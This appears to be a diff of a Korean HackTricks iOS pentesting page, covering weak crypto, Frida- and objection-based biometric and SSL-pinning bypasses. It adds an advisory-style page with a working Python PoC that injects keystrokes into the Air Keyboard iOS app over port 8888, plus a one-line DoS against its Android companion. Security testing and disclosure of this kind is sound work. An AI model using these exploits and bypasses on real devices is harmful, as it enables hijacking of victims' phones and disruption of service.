개발자는 **deprecated algorithms**를 사용하여 **checks**를 수행하거나 **store** 또는 **send** 데이터를 전송해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **hashes**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용한 해시 브루트 포스 **resistant** 해시를 사용해야 합니다. 개발자는 **사용 중지된 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장** 또는 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 **저항성**을 높여야 합니다.
### Check ### 확인
주요 점검 사항은 코드에서 **hardcoded** 비밀번호/비밀을 찾을 수 있는지, 또는 그것들이 **predictable**한지, 그리고 코드가 어떤 종류의 **weak** **cryptography** 알고리즘을 사용하고 있는지 확인하는 것입니다. 주요 확인 사항은 코드에서 **하드코딩된** 비밀번호/비밀을 찾을 수 있는지, 그것들이 **예측 가능**한지, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하고 있는지 확인하는 것입니다.
흥미로운 점은 **objection**을 사용하여 일부 **crypto** **libraries**를 자동으로 **monitor**할 수 있다는 것입니다: 일부 **암호** **라이브러리**를 자동으로 **모니터링**할 수 있다는 점은 흥미롭습니다. **objection**을 사용하여:
```swift ```swift
ios monitor crypt ios monitor crypt
``` ```
@ -724,7 +724,7 @@ ios monitor crypt
**로컬 인증**은 원격 엔드포인트에서 암호화 방법을 통해 접근을 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다. **로컬 인증**은 원격 엔드포인트에서 암호화 방법을 통해 접근을 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 각각 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리하기 위한 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다. Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 각각 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리할 수 있는 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이 있습니다: Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이 있습니다:
@ -732,22 +732,22 @@ Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이
- **`Security.framework`**: 생체 인증으로 비밀 데이터를 보호하는 저수준 키체인 서비스 접근을 위한 것입니다. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 접근을 더 간단하게 만듭니다. - **`Security.framework`**: 생체 인증으로 비밀 데이터를 보호하는 저수준 키체인 서비스 접근을 위한 것입니다. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 접근을 더 간단하게 만듭니다.
> [!CAUTION] > [!CAUTION]
> 그러나 `LocalAuthentication.framework``Security.framework` 모두 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하므로 우회에 취약한 취약점이 존재합니다(참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). > 그러나 `LocalAuthentication.framework``Security.framework` 모두 취약점을 가지고 있으며, 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하여 우회에 취약합니다 (참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### 로컬 인증 구현 ### 로컬 인증 구현
사용자에게 인증을 요청하려면 개발자는 **`LAContext`** 클래스 내의 **`evaluatePolicy`** 메서드를 사용해야 하며, 다음 중에서 선택할 수 있습니다: 사용자에게 인증을 요청하기 위해 개발자는 **`LAContext`** 클래스 내의 **`evaluatePolicy`** 메서드를 사용해야 하며, 다음 중에서 선택할 수 있습니다:
- **`deviceOwnerAuthentication`**: Touch ID 또는 장치 호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다. - **`deviceOwnerAuthentication`**: Touch ID 또는 장치 비밀번호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다.
- **`deviceOwnerAuthenticationWithBiometrics`**: Touch ID만 요청합니다. - **`deviceOwnerAuthenticationWithBiometrics`**: Touch ID만 요청합니다.
성공적인 인증은 **`evaluatePolicy`**의 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다. 성공적인 인증은 **`evaluatePolicy`**의 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
### 키체인을 이용한 로컬 인증 ### 키체인을 이용한 로컬 인증
iOS 앱에서 **로컬 인증**을 구현하는 것은 인증 토큰과 같은 비밀 데이터를 안전하게 저장하기 위해 **키체인 API**를 사용하는 것을 포함합니다. 이 과정은 사용자가 자신의 장치 암호 또는 Touch ID와 같은 생체 인증을 사용하여 데이터에만 접근할 수 있도록 보장합니다. iOS 앱에서 **로컬 인증**을 구현하는 것은 인증 토큰과 같은 비밀 데이터를 안전하게 저장하기 위해 **키체인 API**를 사용하는 것을 포함합니다. 이 과정은 사용자가 자신의 장치 비밀번호나 Touch ID와 같은 생체 인증을 사용하여 데이터에만 접근할 수 있도록 보장합니다.
키체인은 `SecAccessControl` 속성을 사용하여 항목을 설정할 수 있는 기능을 제공하며, 이는 사용자가 Touch ID 또는 장치 호를 통해 성공적으로 인증할 때까지 항목에 대한 접근을 제한합니다. 이 기능은 보안을 강화하는 데 중요합니다. 키체인은 `SecAccessControl` 속성을 사용하여 항목을 설정할 수 있는 기능을 제공하며, 이는 사용자가 Touch ID 또는 장치 비밀번호를 통해 성공적으로 인증할 때까지 항목에 대한 접근을 제한합니다. 이 기능은 보안을 강화하는 데 중요합니다.
아래는 Swift와 Objective-C에서 키체인에 문자열을 저장하고 검색하는 방법을 보여주는 코드 예제입니다. 이 예제는 Touch ID 인증을 요구하도록 접근 제어를 설정하는 방법과 데이터가 설정된 장치에서만 접근 가능하도록 보장하는 방법을 구체적으로 보여줍니다. 아래는 Swift와 Objective-C에서 키체인에 문자열을 저장하고 검색하는 방법을 보여주는 코드 예제입니다. 이 예제는 Touch ID 인증을 요구하도록 접근 제어를 설정하는 방법과 데이터가 설정된 장치에서만 접근 가능하도록 보장하는 방법을 구체적으로 보여줍니다.
@ -880,18 +880,18 @@ NSLog(@"Something went wrong");
```bash ```bash
$ otool -L <AppName>.app/<AppName> $ otool -L <AppName>.app/<AppName>
``` ```
`LocalAuthentication.framework`가 앱에서 사용되는 경우, 출력에는 다음 두 줄이 모두 포함됩니다 (기억하세요, `LocalAuthentication.framework`는 내부적으로 `Security.framework`를 사용합니다): 앱에서 `LocalAuthentication.framework`가 사용되면 출력에는 다음 두 줄이 모두 포함됩니다(기억하세요, `LocalAuthentication.framework`는 내부적으로 `Security.framework`를 사용합니다):
```bash ```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security /System/Library/Frameworks/Security.framework/Security
``` ```
만약 `Security.framework`가 사용된다면, 두 번째 것만 표시됩니다. `Security.framework`가 사용되는 경우, 두 번째 것만 표시됩니다.
### 로컬 인증 프레임워크 우회 ### 로컬 인증 프레임워크 우회
#### **Objection** #### **Objection**
**Objection Biometrics Bypass**를 통해, [이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 기술을 사용하여 **LocalAuthentication** 메커니즘을 극복할 수 있습니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하는 것으로, 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 보장합니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다. [이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 **Objection Biometrics Bypass**를 통해 **LocalAuthentication** 메커니즘을 극복할 수 있는 기술이 제공됩니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하는 것으로, 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 보장합니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다.
이 우회를 활성화하기 위해 다음 명령이 사용됩니다: 이 우회를 활성화하기 위해 다음 명령이 사용됩니다:
```bash ```bash
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
} }
} }
``` ```
로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 목표로 하여, 성공적으로 **success=1**을 반환하도록 콜백을 가로챕니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회합니다. 로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 목표로 하여, 콜백을 가로채서 **success=1**을 반환하도록 합니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회합니다.
아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공을 나타내도록 변경합니다. 아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공을 나타내도록 변경합니다.
```swift ```swift
@ -1017,12 +1017,12 @@ burp-configuration-for-ios.md
### 호스트 이름 확인 ### 호스트 이름 확인
TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **호스트 이름**이 접근 중인 호스트 이름인지 **확인하지 않는** 것입니다.\ TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **접근 중인 호스트 이름**이 인증서의 호스트 이름인지 확인하지 않는 것입니다.\
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다. 이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
### 인증서 고정 ### 인증서 고정
애플리케이션이 SSL Pinning을 올바르게 사용하고 있다면, 애플리케이션은 인증서가 예상되는 것일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\ 애플리케이션이 SSL 고정을 올바르게 사용하고 있다면, 애플리케이션은 인증서가 예상되는 것일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\
탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)를 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다. 탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)를 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
또한 **objection의** `ios sslpinning disable`을 사용할 수 있습니다. 또한 **objection의** `ios sslpinning disable`을 사용할 수 있습니다.
@ -1041,21 +1041,27 @@ TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할
### 핫 패칭/강제 업데이트 ### 핫 패칭/강제 업데이트
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치**할 수 있습니다.\ 개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치**할 수 있습니다.\
목적을 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\ 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
**이것은 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 권장됩니다.** 이 목적을 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다. **이 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 권장됩니다.** 이 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
### 제3자 ### 제3자
**3rd party SDKs**와 관련된 중요한 도전 과제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 잠재적인 보안 취약점 및 개인 정보 문제를 포함한 모든 기능을 수용할 것인지, 아니면 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성 코드를 포함하기 시작할 수 있습니다. **3rd party SDKs**와 관련된 중요한 문제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 모든 기능을 수용할 것인지, 또는 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성 코드를 포함할 수 있습니다.
제3자 SDK가 제공하는 서비스에는 사용자 행동 추적, 광고 표시 또는 사용자 경험 향상이 포함될 수 있습니다. 그러나 이는 개발자가 이러한 라이브러리에서 실행되는 코드를 완전히 인식하지 못할 수 있으므로 잠재적인 개인 정보 및 보안 위험을 초래합니다. 제3자 서비스와 공유되는 정보는 필요한 것만으로 제한하고 민감한 데이터가 노출되지 않도록 하는 것이 중요합니다. 제3자 SDK가 제공하는 서비스에는 사용자 행동 추적, 광고 표시 또는 사용자 경험 향상이 포함될 수 있습니다. 그러나 이는 개발자가 이러한 라이브러리에서 실행되는 코드를 완전히 인식하지 못할 수 있으므로 잠재적인 개인 정보 및 보안 위험을 초래합니다. 제3자 서비스와 공유되는 정보는 필요한 것만으로 제한하고 민감한 데이터가 노출되지 않도록 하는 것이 중요합니다.
제3자 서비스의 구현은 일반적으로 독립형 라이브러리 또는 전체 SDK의 두 가지 형태로 제공됩니다. 사용자 개인 정보를 보호하기 위해 이러한 서비스와 공유되는 모든 데이터는 개인 식별 정보(PII)의 공개를 방지하기 위 **익명화**되어야 합니다. 제3자 서비스의 구현은 일반적으로 독립형 라이브러리 또는 전체 SDK의 두 가지 형태로 제공됩니다. 사용자 개인 정보를 보호하기 위해 이러한 서비스와 공유되는 모든 데이터는 **익명화**되어 개인 식별 정보(PII)의 공개를 방지해야 합니다.
애플리케이션이 사용하는 라이브러리를 식별하기 위해 **`otool`** 명령을 사용할 수 있습니다. 이 도구는 애플리케이션과 사용되는 각 공유 라이브러리에 대해 실행되어 추가 라이브러리를 발견해야 합니다. 애플리케이션이 사용하는 라이브러리를 식별하기 위해 **`otool`** 명령을 사용할 수 있습니다. 이 도구는 애플리케이션과 사용되는 각 공유 라이브러리에 대해 실행되어 추가 라이브러리를 발견해야 합니다.
```bash ```bash
otool -L <application_path> otool -L <application_path>
``` ```
## 흥미로운 취약점 및 사례 연구
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **참고 자료 및 추가 리소스** ## **참고 자료 및 추가 리소스**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
@ -1084,5 +1090,4 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,91 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
상업용 "Air Keyboard" 애플리케이션(iOS 버전, App Store ID 6463187929)은 **포트 8888에서 평문 TCP 서비스를 열어** 인증 없이 키스트로크 프레임을 수락합니다. 동일한 Wi-Fi 네트워크에 있는 모든 장치는 해당 포트에 연결하여 피해자의 전화에 임의의 키보드 입력을 주입할 수 있으며, **완전 원격 상호작용 탈취**를 달성할 수 있습니다.
동반 Android 빌드는 **포트 55535**에서 수신 대기합니다. 약한 AES-ECB 핸드셰이크를 수행하지만, 조작된 쓰레기 데이터가 **OpenSSL 복호화 루틴에서 처리되지 않은 예외를 발생시켜** 백그라운드 서비스를 충돌시킵니다(**DoS**).
## 1. Service Discovery
로컬 네트워크를 스캔하고 앱에서 사용하는 두 개의 고정 포트를 찾습니다:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
안드로이드 핸드셋에서는 책임 있는 패키지를 로컬에서 식별할 수 있습니다:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. 프레임 형식 (iOS)
이진 파일은 `handleInputFrame()` 루틴 내에서 다음과 같은 파싱 로직을 드러냅니다:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
선언된 길이는 `device_id` 바이트를 포함하지만 **헤더 자체의** 두 바이트는 포함하지 않습니다.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
인쇄 가능한 모든 ASCII(`\n`, `\r`, 특수 키 등 포함)는 전송될 수 있으며, 이는 공격자에게 물리적 사용자 입력과 동일한 권한을 부여합니다: 앱 실행, IM 전송, 피싱 URL 방문 등.
## 4. Android Companion 서비스 거부
Android 포트(55535)는 **하드코딩된 AES-128-ECB 키**로 암호화된 4자리 비밀번호와 랜덤 논스를 기대합니다. 파싱 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드가 종료됩니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊어지게 할 수 있습니다.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
1. **수신 프레임에 대한 출처 / 무결성 검사 없음** (iOS).
2. **암호화 오용** (정적 키, ECB, 길이 검증 누락) 및 **예외 처리 부족** (Android).
## 6. Mitigations & Hardening Ideas
* 모바일 핸드셋에서 인증되지 않은 서비스를 노출하지 마십시오.
* 온보딩 중 장치별 비밀을 파생하고 입력 처리를 하기 전에 이를 검증하십시오.
* 리스너를 `127.0.0.1`에 바인딩하고 원격 제어를 위해 상호 인증된 암호화된 전송(예: TLS, Noise)을 사용하십시오.
* 모바일 보안 검토 중 예상치 못한 열린 포트를 감지하십시오 (`netstat`, `lsof`, `frida-trace` on `socket()` 등).
* 최종 사용자로서: Air Keyboard를 제거하거나 신뢰할 수 있는 격리된 Wi-Fi 네트워크에서만 사용하십시오.
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## References
- [Air Keyboard iOS 앱의 원격 입력 주입 취약점 여전히 패치되지 않음](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity 권고 WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}